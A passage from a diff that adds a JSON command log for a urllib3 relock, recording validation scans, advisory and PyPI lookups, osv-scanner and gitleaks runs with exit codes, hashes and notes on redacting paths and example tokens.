"/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/requirements.lock", + "--scan-file", + "/blueprints/runtime-workers/openhands/pins.json" + ], + "cwd": "", + "started_utc": "2026-09-30T16:06:05.060895+00:00", + "ended_utc": "2026-09-30T16:06:05.337801+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "1822a82de679c3e3177211a9de6bbd896f44d1df20b2bc7df8e01e3a7a2f97b6", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "1822a82de679c3e3177211a9de6bbd896f44d1df20b2bc7df8e01e3a7a2f97b6", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", + "returned_output_sha256": "7d7f93e7c5e1343a0549bc5e74ea624ca9e71fb16f5e922b422a6f413777dc09" + }, + { + "id": "owned-diff-check", + "argv": [ + "rtk", + "proxy", + "git", + "diff", + "--check" + ], + "cwd": "", + "started_utc": "2026-09-30T16:06:05.340516+00:00", + "ended_utc": "2026-09-30T16:06:05.396447+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", + "returned_output_sha256": "748a787acf6ae7f176b36197ef18ea0d91be1f860f36f15f8ff46d05599dc503" + }, + { + "id": "repository-validation-final-owned-scope", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py" + ], + "cwd": "", + "started_utc": "2026-09-30T16:06:05.403047+00:00", + "ended_utc": "2026-09-30T16:06:25.519442+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", + "returned_output_sha256": "7e7b5d9e03774c2fc89106a8560d34c500b8543be3830db32b5bf446a3f6694e" + }, + { + "id": "pyjwt-advisory-official", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "advisories/GHSA-42vr-xj54-vc7v" + ], + "cwd": "", + "started_utc": "2026-09-30T16:09:26.731281+00:00", + "ended_utc": "2026-09-30T16:09:27.119982+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "2cd42b4ba35d0db3dc7bf22609f63dc9fea0d7655f20169b18ffe2f07dc4049a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "c7d7e991db0983365660c14b9cfb9de37e8299a21478951edca883635366b90e", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", + "returned_output_sha256": "13345ffd64854f23a1f4db80e2c7d9e75bbdf7101c6de5042621974ea1ed0d4a", + "sanitization_correction": { + "reason": "Existing native publication/secret gates reject upstream PoC paths, public UUIDs and README JWT examples; private original bytes/hashes remain unchanged.", + "redaction_counts": { + "personal home path": 2 + } + } + }, + { + "id": "pyjwt-advisory-osv", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "https://api.osv.dev/v1/vulns/GHSA-42vr-xj54-vc7v" + ], + "cwd": "", + "started_utc": "2026-09-30T16:09:27.121742+00:00", + "ended_utc": "2026-09-30T16:09:27.292436+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "5f2001719b1179c7d7c40988b7a5a4cf447667cb5806cddbb8d064f45b370eb7", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "7993981b5ab6d0c38309da03d750673851ef1651de3b6ebc68381ea8ff733506", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", + "returned_output_sha256": "ec68a691e5b919679732c8600d27c07a719718d0e80f8540e58319e94684ca14", + "sanitization_correction": { + "reason": "Existing native publication/secret gates reject upstream PoC paths, public UUIDs and README JWT examples; private original bytes/hashes remain unchanged.", + "redaction_counts": { + "personal home path": 2 + } + } + }, + { + "id": "pyjwt-215-pypi", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "https://pypi.org/pypi/PyJWT/2.15.0/json" + ], + "cwd": "", + "started_utc": "2026-09-30T16:09:27.293810+00:00", + "ended_utc": "2026-09-30T16:09:27.377298+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "d7d239d115c9442eed19860676c23a4132a38a3880d5722da57fe2e0bd80f570", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "5b9da1341331b5e08ddd7d68f83fb7e1def4904237d78c5d32c6196578b11fa5", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "returned_output_sha256": "96c2bb91c88b9e2869b62f1efaaeb7df24bd78e5db8c7e267b183557620b6c95", + "sanitization_correction": { + "reason": "Existing native publication/secret gates reject upstream PoC paths, public UUIDs and README JWT examples; private original bytes/hashes remain unchanged.", + "redaction_counts": { + "local session identifier": 1, + "public README JWT example": 1 + } + } + }, + { + "id": "candidate-osv-current-config-rescan", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T16:09:27.378658+00:00", + "ended_utc": "2026-09-30T16:09:28.082317+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "8ba15a8addbada60d1b9840960c3c01032a1915ad5d84fe2d572f9b0b7750a8a", + "stderr_sha256_private_raw": "1bf727a4e4e725b0b85550119473331bb00f6755acc09c9a8726671b88ef4fb0", + "stdout_sha256_sanitized": "153338dd8099c7a9b96230308fc7b072d2783257bbe96821f2a5f7e09451ba24", + "stderr_sha256_sanitized": "ccac5ed77530c6789307998b8ebbc5c7919e37b66fb875257bca5239f3c5505b", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", + "returned_output_sha256": "72d39a51323df0a9888c433435cb5289b7a21b91df8b857caa56ce4df9c58332", + "sanitization_correction": { + "reason": "Existing native publication/secret gates reject upstream PoC paths, public UUIDs and README JWT examples; private original bytes/hashes remain unchanged.", + "redaction_counts": { + "personal home path": 2 + } + } + }, + { + "id": "final-owned-file-publication-scan", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/requirements.lock", + "--scan-file", + "/blueprints/runtime-workers/openhands/pins.json" + ], + "cwd": "", + "started_utc": "2026-09-30T16:11:21.489180+00:00", + "ended_utc": "2026-09-30T16:11:21.950909+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "ea7a631f4cbaf7e530a04259eb8d0555c6187950ee3ec79f348d21c1da440dff", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "df06b3c0a7573522f240573401bf42f28f11ad0be6f20e7abd75aa357af8db84", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt", + "returned_output_sha256": "e4c3e6648209bf90f77a50d9454000310e45906f33cebbaa50f39a02d4bf23c8" + }, + { + "id": "gitleaks-version", + "argv": [ + "rtk", + "proxy", + "gitleaks", + "version" + ], + "cwd": "", + "started_utc": "2026-09-30T16:13:24.875075+00:00", + "ended_utc": "2026-09-30T16:13:25.164292+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "c9fd9ccb6682c54b5fcb0363757b6c6873564e7c067f70b3b5581b611528b9f4", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "c9fd9ccb6682c54b5fcb0363757b6c6873564e7c067f70b3b5581b611528b9f4", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt", + "returned_output_sha256": "106a656382fa5139173c3bf2dfad0a09220be1dfbddd44ea090450127e22661a" + }, + { + "id": "gitleaks-git-help", + "argv": [ + "rtk", + "proxy", + "gitleaks", + "git", + "--help" + ], + "cwd": "", + "started_utc": "2026-09-30T16:13:25.165589+00:00", + "ended_utc": "2026-09-30T16:13:25.555327+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "7036fcc1934adaad726ab9ff9598809a499721ceb648ec0164d9fe79c778979a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "7036fcc1934adaad726ab9ff9598809a499721ceb648ec0164d9fe79c778979a", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt", + "returned_output_sha256": "f84b66a7247f23f5f864783f8a77e31e1b1a628475b46a9e63eff9e0660b9bc1" + }, + { + "id": "staged-gitleaks-rejection", + "argv": [ + "rtk", + "proxy", + "gitleaks", + "git", + "--pre-commit", + "--staged", + "--redact", + "--no-banner", + "--config", + "/.gitleaks.toml", + "--report-format", + "json", + "--report-path", + "/gitleaks-report.json", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T16:13:25.556751+00:00", + "ended_utc": "2026-09-30T16:13:26.203950+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "c4a2839768c81ce2830b9186d53ec8d169716d8648da8bffcf7e7fa5d0ab7409", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "c4a2839768c81ce2830b9186d53ec8d169716d8648da8bffcf7e7fa5d0ab7409", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt", + "returned_output_sha256": "8f1979d20d985a9eb7206f747f3c6656664738fbd3a7e5611af5e842f27b7496" + }, + { + "id": "final-owned-file-publication-scan-after-upstream-example-redaction", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "--scan-file", + 